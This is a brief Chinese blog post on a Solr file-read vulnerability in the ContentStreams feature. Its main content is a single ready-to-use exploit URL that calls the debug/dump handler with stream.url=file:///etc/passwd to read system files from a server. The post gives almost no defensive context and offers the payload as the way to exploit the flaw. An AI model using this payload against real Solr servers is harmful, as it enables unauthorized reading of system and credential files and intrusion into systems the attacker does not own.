本文介绍了一个通过 Solr 的 ContentStreams 功能访问系统文件的安全漏洞。该漏洞允许攻击者通过构造特定的 URL 来读取服务器上的文件，如 /etc/passwd。此文章详细解释了漏洞原理，并提供了利用该漏洞的方法。
访问:http://ip//solr/db/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd (db为存在的应用名)
扫一扫
评论
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
查看更多评论
添加红包
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
